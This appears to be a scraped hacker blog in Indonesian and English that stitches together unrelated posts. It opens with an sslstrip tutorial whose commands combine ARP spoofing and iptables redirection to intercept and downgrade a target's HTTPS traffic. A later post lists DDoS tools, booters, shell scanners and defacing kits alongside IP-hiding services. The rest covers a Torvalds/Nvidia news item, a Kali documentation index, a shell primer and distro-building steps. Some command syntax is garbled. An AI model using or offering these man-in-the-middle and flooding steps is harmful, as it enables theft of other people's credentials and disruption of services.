Sslstrip

Tool ini memberikan demonstrasi serangan pengupasan HTTPS. Tool akan membajak lalu lintas HTTP pada jaringan, perhatikan HTTPS link dan pengalihan, kemudian peta link tersebut menjadi baik HTTP link mirip atau link HTTPS homograf-sama. Ini juga mendukung mode untuk memasok favicon yang terlihat seperti ikon kunci, tebang pilih, dan sesi penolakan.

baiklah.. sekarang yang di perlukan adalah sslstrip-0.9.tar.gz yamg bisa anda download di sini

Download

setelah di download extract file tersebut dengan menggunakan perintah tar zxvf sslstrip-0.9.tar.gz seperti gambar di bawah ini.

progress extract sslstrip-0.9.tar.gz

setelah itu masuk ke dalam folder extract tadi dengan perintah berikut :

code@earl:~# cd sslstrip-0.9

untuk penginstalan, pastikan di dalam system operasi anda telah terinstal python dan berikan perintah berikut :

 code@earl:~/sslstrip-0.9# python ./setup.py install

output install

Menjalankan sslstrip

• echo "1"> / proc/sys/net/ipv4/ip_forward 
• iptables-t nat-A PREROUTING-p tcp - destination-port 80-j REDIRECT - to-port <listenPort>  "Mengatur iptables untuk mengarahkan traffic HTTP ke sslstrip"
• sslstrip.py-l <listenPort> "Jalankan sslstrip"
• arpspoof-i <interface>-t <targetIP> <gatewayIP> "Jalankan arpspoof untuk meyakinkan jaringan mereka harus mengirimkan lalu lintas mereka kepada Anda"

selamat mencoba dan kembangkan sendiri sayap mu di udara.

regard : code@earl:~# A.k.a c0d334rl /codeearl
     

Fuck For Nvidia From Linus Torvalds

Finland - Linus Torvalds visibly upset against Nvidia. Even in an opportunity, the inventor of the Linux operating system for the Nvidia middle finger. What is the reason?

Torvalds name was already well known in the world of open source. But not all know if he turned out really hate Nvidia. This was disclosed when he was a speaker for an event entrepreneur forum, at Otaniemi, Finland.

One participant raised her hand and asked about the difficulty of making Linux Torvalds runs perfectly on his laptop that uses Nvidia Optimus chip. Though Nvidia is the largest contributor to the graphics card in the computer realm.

"I was hoping that Nvidia will do something, but it turns out they do not provide support at all (for Linux-ed.)," Torvalds said, responding to questions of participants.

Torvalds looked at Nvidia who took advantage of the open source (Android) felt disappointed, and it is appropriate if it is poured giant micro chip support for Linux as it is done in Windows and Mac OS.

"So, Nvidia f *** you," said Torvalds, holding up his middle finger in front of the camera. As quoted from cnet, Monday (06/18/2012).

But not just Nvidia, Torvalds also feels other companies are not doing enough to support Linux. But he did not mention exactly which companies he has in mind.

Nvidia is already providing specific Linux drivers on the main site, but it still does not resolve issues surrounding the compatibility of components that had been going on for years.

Unlike its rival AMD, Nvidia looks reluctant to release open source drivers because they can divulge important information on the product.

Look this vidio of Linus Torvalds for F*** NVIDIA

Kali Linux Documentation Ebook

Menu Item yang ada pada Kali Linux Documentation Ebook

• Introduction to Kali Linux

What is Kali Linux ?
Kali Linux Features

Should I Use Kali Linux?
Differences Between Kali Linux and Debian
Is Kali Linux Right For You?
Kali Linux Default Passwords

•  Downloading Kali Linux

Download Official Kali Images
Official Kali Linux Images
ISO Files
VMware Images
ARM Images

Verifying SHA1 Checksums of Downloaded Images
Ensure the Origin of the SHA1SUMS File
Verifying SHA1 Checksums on Linux
Verifying SHA1 Checksums on OSX
Verifying SHA1 Checksums on Windows

Generate an Updated Kali ISO

• Building Custom Kali Images

Live Build a Custom Kali ISO
Build Your Own Kali ISO – Introduction
Prerequisites
Getting Ready
Configuring the Kali ISO Build (Optional)

Building the ISO
Customize the Kali Desktop
Changing the Kali Desktop Environment

•  Installing Kali Linux

Kali Linux Hard Disk Install
Kali Linux Installation Requirements
Installation Prerequisites
Preparing for the Installation

Kali Linux Installation Procedure
Post Installation

Dual Boot Kali with Windows
Kali Linux Dual Boot with Windows
Preparing for the Installation
Dual Boot Installation Procedure
Kali Linux Installation Procedure
Post Installation

Kali Linux Live USB Install
Preparing for the USB copy
Kali Linux Live USB Install Procedure

Imaging Kali on a Windows Machine
Imaging Kali on a Linux Machine
Adding Persistence to Your Kali Live USB

Kali Linux Encrypted Disk Install
Kali Linux Encrypted Installation Requirements

• Kali Linux Network Installs

Kali Linux Network Mini ISO Install
Kali Mini ISO Install
Kali Linux Network PXE Install
Setup a PXE Server
Download Kali PXE Netboot Images
Configure Target to Boot From Network

• Kali Linux General Use

Starting Metasploit Framework
Start the Kali PostgreSQL Service

Start the Kali Metasploit Service
Launch msfconsole in Kali
Configure Metasploit to Launch on Startup

Kali Linux Forensics Mode

VMware Tools in a Kali Guest
Installing open-vm-Tools
Installing VMware Tools in Kali
Slow Mouse Movement in VMware
VMware Tools Won’t Compile!
Known Issues

• Kali Linux ARM Architecture

Install Kali Samsung Chromebook
Kali on Chromebook – User Instructions
Kali on Samsung Chromebook – Developer Instructions

Install Kali ARM on MK/SS808
Stock Kali on SS808 – Easy Version
Kali on SS808 – Long version
Install Kali ARM on ODROID U2
Kali on ODROID U2 – User Instructions


Troubleshooting
Kali on ODROID U2 – Developer Instructions

Install Kali ARM on a Raspberry Pi
Stock Kali on Raspberry Pi – Easy Version

Kali on Raspberry Pi – Long Version
Preparing a Kali Linux ARM chroot
Install Required Tools and Dependencies
Define Architecture and Custom Packages
Build the Kali rootfs
Manual Configuration Within the chroot

• Kali Linux Development

Custom Raspberry Pi Image
Create a Kali rootfs
Create the Image File
Partition and Mount the Image File
Copy and Modify the Kali rootfs
Compile the Raspberry Pi Kernel and Modules

Custom Chromebook Image
Custom MK/SS808 Image
Custom ODROID X2 U2 Image
ARM Cross-Compilation

Setting Up Your Development Box
Download Linaro Toolchain
Set Environment Variables
Rebuilding a Package from Source
Downloading the Package Source
Edit the Package Source Code
Check for Build Dependencies
Recompiling the Kali Linux Kernel
Download Kali Linux Kernel Source Code

• Troubleshooting Kali Linux

Troubleshooting Wireless Drivers

• Kali Community Support

Official Kali Linux Mirrors
Using Official Repositories
Official Kali Linux Sites
Kali Linux Bug Tracker
Kali Linux Open Source Policy
Kali Linux Trademark Policy

Introduction to the shell

The command interpreter is the interface between the user and the operating system, hence the name "shell".

The shell, a shell between the OS and the user

The shell therefore acts as an intermediary between the operating system and the user thanks to command lines that are entered by the latter. Its role consists in reading the command line, interpreting its meaning, carry out the command, and then return the result via the outputs.

The shell is an executable file responsible for interpreting the commands, transmitting them to the system, and returning the result. Ther are several shells, the most common being sh (called "Bourne shell"), bash ("Bourne again shell"), csh ("C Shell"), Tcsh ("Tenex C shell"), ksh ("Korn shell"),and zsh ("Zero shell"). Their name generally matches the name of the executable.

Each user has a default shell, which will be launched upon opening of a command prompt. The default shell is specified in the dans configuration file /etc/passwd in the last field of the line corresponding to the user. It is possible to change the shell during a session by simply executing the corresponding executable file, for example:

/bin/bash

Prompt

The shell is initialized by reading its overall configuration (in a file of the directory /etc/), followed by reading the user's own configuration (in a hidden file whose name starts with a dot, located in the basic user directory, i.e. /home/user_name/.configuration_file). Then, a prompt is displayed as follows:

machine:/directory/current$

By default, for most shells, the prompt consists of the name of the machine, followed by two points (:), the current directory, then a character indicating the type of user connected:

"$" speciies a normal user
"#" specifies the administrator, called "root"

The command line concept

A command line is a chain of characters representing a command which corresponds to an executable file of the system or rather a shell command as well as optional arguments (parameters):

ls -al /home/jf/

In the above command, ls is the aame of the command, -al et /home/jean-francois/ are arguments. Arguments beginning with - are called options. Generally, for each command, there is a certain number of options which can be detailed by typing one of the following commands:

command --help
command -?
man command

Standard input-output

Once a command is run, a process is created. This process opens three flows:

stdin, called standard input, in which case the process reads the input data. By default, stdin refers to the keyboard; STDIN is identified by the number 0;
stdout, called standard output, in which case the process writes the output data. By default, stdin refers to the screen; STDOUT is identified by the number 1;
stderr, called standard error, in which case the process writes the error messages. By default, stderr refers to the screen. STDERR is identified by the number 2;

standard input-output: STDOUT, STDIN, STDERR

By default, whenever a program is run, the data are therefore read from the keyboard, and the program sends its output and its errors to the screen. However, it is also possible to read data from any input device, even from a file, and to send the output to a display device, a file, etc.
Redirections

Like any Unix type system, Linux has mechanisms which make it possible to redirect the standard input-output to files.

Using the character ">" therefore makes it possible to redirect the standard output of a command on the left to the file located on the right:

ls -al /home/jf/ > toto.txt
echo "Toto" > /etc/myconfigurationfile

The following command is equivalent to a copy of the files:

cat toto > toto2

The purpose of the redirection ">" is to create a new file. In case a file already exists with the same name, such file will be deleted. The following command simply creates an empty file:

> file

Using the double character ">>" makes it possible to add the standard output to the file, i.e. add the output after the file without deleting it.

In an essentially similar manner, the character "<" indicates a redirection of the standard input. The following command sends the content of the file toto.txt with the command cat, whose only purpose is to display the content on the standard output (example not useful, but instructive):

cat < toto.txt

Finally, using the redirection "<<" makes it possible to read, on the standard input, until the chain located to the right is found. In the following example, the standard input is read until the word STOP is found, and then, the result is displayed:

cat << STOP

Communication pipes

The pipes are a special communication mechanism of all UNIX systems. A piple, symbolised by a vertical bar (character "|"), makes it possible to assign the standard output of a command to the standard input of another, like a pipe allow communication between the standard input of a command with the standard output of another one.

In the following example, the standard output of the command ls -al is sent to the program sort, which is responsible for sorting the result in alphabetical order:

ls -al | sort

This makes it possible to connect a certain number of commands through successive pipes. In the example below, the command displays all files of the current directory, selects the lines containing the word "zip" (thanks to the command grep), and counts the total number of lines:

ls -l | grep zip | wc -l

list of attack

list tutorial, tool and vidio  of attack / hacking

1.  TanggoDown
2.  TanggoDown II
3.  Notepad
4.  XerXes STRONG DDoSser
5.  HULK DDoSser
6.  TORSHAMMER
7.  TOOLS I 
8.  TOOLS II 
9.  TOOL PACK requests key "123123" 
10. Ddos tools -| LOIC |-
11. LOIC tutorial (if u dont know how to use it)
12. FireFlood
13. Anonymous DoSer
14. Online HOIC (Change threads to 1,000 and enter URL)
15. DDOS attack & Deface Programs
16. Cyber Ghost VPN Program
17. Free Emails To Use VPN ]
             * http://pastebin.com/G9yQhHmg
             * http://loshackers.webnode.es/loic-online/
             * http://pastehtml.com/view/cdvr011a5.html
             * http://localhosts.blogspot.com/
18. Tools LOIC:
              * LOIC 1.0.7.42
              * LOIC 1.1.1.25
19. HOIC
20. ByteDos
21. Jays Booter
22. HTTPFlooder
23. SumRando
24. Protect IP :
              * Tor Project 
              * Real Hide IP
              * Hotspot Shield 
              * Expat Shield 
              * SecurityKISS
              * CyberGhost
25. HOIC, LOIC
26. ByteDOS
27. Anonymous Doser
28. HTTPFlooder
29. Tutorial ByteDOS
30. Tutorial HOIC
        Link 1 :- (Multi DDoS)
        Link 2 :- (HOIC)
        Link 3 :- (Multi Hacking Tools)
        Link 4 :- (Defacing tool and Hacking Tools) 
31. TOOLS shell and SQL scanner 
32. shell booters
33. Loic For Phone Android


Hide your IP with this software 

1. Anchor
2. HSS :- (im using this)
3. VPN Reactor :- (Free)
4. Best Free VPN Service :- (free)
5. Hide My IP 
6. ProXPN :- (Free)
7. CyberGhost
8. TOR Onion
9. SecurittyKiss
10. Your Freedom
11. Proxygon


Dont Forget To Install Net Framework

1. Microsoft .NET Framework 4.5
2. Microsoft .NET Framework 4 (Web Installer)
3. Microsoft .NET Framework 3.5
4. Microsoft .NET Framework 2.0


NB : sesuaikan dengan OS. 
Source : All Source And Google

Thanks : Admin | A.k.a : c0d334rl

How to make own linux distro

How to make own linux distro

1. Go to http://susestudio.com
2. Login first use your social network account
3. click Create new appliance
4. Select the OS template that you want
5. Select the type of OS between 32 or 64 bit
6. Give the name of the Linux distributions made ​​by you
7. Click Create Appliane
8. You will be taken to the welcome page, click the Software
9. Choose what software you want to includekan to your intaller
10. Click the Configuration tab
11. There are several sub-tabs:

In the General sub tab:
    -select language and keybord input your linux distro
    -adjust its Region and Time Zone
    -set the Network, Firewall and User and Account
       
On the sub tab Personalize:
     Upload logo and Background

On the sub tab StartUp:
     -set the Default Runlevel
     -insert your own EULA
You may pass through the sub tab Server, Desktop, Appliance, and Scripts if you think this setup is too complicated.

• Click the File tab if you want to add a file in linux distributions yours
• Configuration is complete. You live linux distro to compile yours in the Build tab.
• Before compiling, adjust the first version of the distro linuxmu
• And before click the Build button, select in any linux distro you
• Wait until the building is completed. It usually takes 5-10 minutes
• Isep cigarettes, coffee sruput you first ..
• Once completed, there are three options * Testdriver, * Download and View Files *
• Before you download, it helps you test-drive first so you know how yours goes ahead Linux Distro. Simply click testdrive.

c0d334rls_GNOME_desktop.i686-0.1.2.iso

note :

Remember, only the last 7 days, to save space on the server Suse Studio.

Cr OS Linux

Cr OS Linux (diucapkan seperti Cros Linux) adalah OS gratis yang dibangun di sekitar browser Chromium revolusioner - sebuah yayasan untuk Google Chrome. Semua Orang menyebutnya dengan nama Crom OS berlapis, karena stabil dan mengkilap.

Proyek open source ini menyediakan distribusi Linux ringan mirip dengan Google Chrome OS untuk pengalaman browsing web terbaik pada setiap netbook, PC x86 atau notebook.

untuk lebih jelasnya silakan kunjungi Website Resminya di http://getchrome.eu/ 

About of Cr OS Linux [Mirror]
Screen Shoot of Cr OS Linux [Mirror]
Download of Cr OS Linux [Mirror]